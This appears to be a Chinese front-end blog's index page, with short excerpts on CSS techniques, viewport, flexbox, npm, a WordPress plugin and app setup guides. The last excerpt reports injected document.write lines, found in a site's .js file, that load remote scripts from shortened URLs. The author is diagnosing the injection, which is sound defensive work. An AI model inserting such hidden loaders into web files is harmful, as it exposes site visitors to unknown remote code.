-
html{ filter: grayscale(100%); -webkit-filter: grayscale(100%); -moz-filter: grayscale(100%); -ms-filter: grayscale(100%); -o-filter: grayscale(100%); filter: url(“data:image/svg+xml;utf8,#grayscale”); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); -webkit-filter: grayscale(1);}
/*20200404全国哀悼 */
阅读全文
作者:admin | 分类:
CSS | 阅读: |
-
什么是 Viewport?
viewport 是用户网页的可视区域。
viewport 翻译为中文可以叫做"视区"。
手机浏览器是把页面放在一个虚拟的"窗口"(viewport)中,通常这个虚拟的"窗口"(viewport)比屏幕宽,这样就不用把每个网页挤到很小的窗口中(这样会破坏没有针对手机浏览器优化的网页的布局),用户可以通过平移和缩放来看网页的不同部分。
<meta name="viewport" content="width=device-width...阅读全文
作者:admin | 分类:
CSS | 阅读: |
-
幼麟棋牌搭建
只支持Win,Mac也可以,因为有CocosCreator版本,Linux不支持,建议使用Win Server搭建。
一、软件需要
操作系统:Win Server 2016 Datacenter
数据库:MySQL 5.7(使用宝塔集成,创建数据库game,导入server/sql/db_babykylin.sql)
nodejs:node-v6.16.0-x64
游戏引擎:CocosCreator_v2.0.6
非必要软件
Git-2.25.1-64-bit 用于下载
Visual Studio Code 编辑工具
npp.7.8.4 ...阅读全文
-
项目开源地址:https://gitee.com/yaozy717/ddrun
项目目录介绍
|--server //服务端目录
|--client //后台客户端目录
|--wxapp //微信小程序项目目录
|--ddrun.sql //数据库文件
复制代码
准备工作
1.微信小程序账号 (需要企业版+微信认证)
2.微信商户号 需要支付证书 用做退款功能
3.如需公众号提醒功能 需要认证过的服务号
4.阿里云短信相关的东西
5.腾讯地图API key
6.已备案的域...阅读全文
-
我们做前端开发时,经常会用到元素居中,包括:1. 一段文本的水平居中,2. 一张图片的水平居中,3. 一个块级元素的水平居中;4. 单行文本的竖直居中,5. 不确定高度的一段文本竖直居中,6. 确定高度的块级元素竖直居中等等。现在分别对其进行总结下:
让元素水平垂直居中,也可以使用让元素显示为单元格,让单元格原本的垂直居中发挥作用:
<div class="parent">
<div class=...阅读全文
作者:admin | 分类:
CSS | 阅读: |
-
一:display:flex 布局
display:flex 是一种布局方式。它即可以应用于容器中,也可以应用于行内元素。是W3C提出的一种新的方案,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持。
Flex是Flexible Box的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性。设为Flex布局以后,子元素的float、clear和vertical-align属性将失效。
二:flex的六个属性
...阅读全文
作者:admin | 分类:
CSS | 阅读: |
-
1、npm是什么?
npm(Node Package Manager)意思是 node 的包管理器,它是随着 NodeJs 安装时一起被安装的;
无论是在前端还是在前端开发中都会使用到 npm 包管理器。(前端框架开发react、Vue...,后台 node 开发);
2、安装
去官网下载对应操作系统的 nodeJS,官网地址:https://nodejs.org/en/download/
3、npm简单命令使用
① npm -v 查看 npm 的版本
② 安装包方法 n...阅读全文
-
CSS导航菜单水平居中的多种方法:
方法1:display:inline-block
方法2:position:relative
方法3:display:table
方法4:display:inline-flex
方法5:width:fit-content / width:intrinsic
方法1:display:inline-block
这个方法比较简单,是将容器转成「display:inline-block」行内块级元素,然后就可以直接用「text-align:center」使其达到水平居中效果。
HTML代码:
这里我们需要一个d...阅读全文
作者:admin | 分类:
CSS | 阅读: |
-
<meta http-equiv="mobile-agent" content="format=xhtml;url=/m/index.html">
<script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amo...阅读全文
-
WP-googlecodeprettify一个基于 Google Code Prettify 实现的WordPress代码高亮插件,在TinyMCE编辑器中提供了一个插入代码的按钮。在文本编辑器中,加入了pre-js,pre-css,pre-html 3个快捷按钮;
GitHub 开源地址:https://github.com/feiwen8772/wp-googlecodeprettify
代码高亮效果:https://www.html.cn/archives/4728
更新信息
2017年08月24日 v3.0 更新:
新增显示文件名,显示文件名...阅读全文
作者:admin | 分类:
HTML | 阅读: |
-
某网站正在做百度推广,由于现在百度查的严格,检查页面指向含有ccymf.com 链接地址,打开该网址发现是登录页面
但在网站整站的代码里搜索也没有找到,最后在 .js文件中找到两处
document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lyzeo\"></script>");
document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lqMAu\"></scrip...阅读全文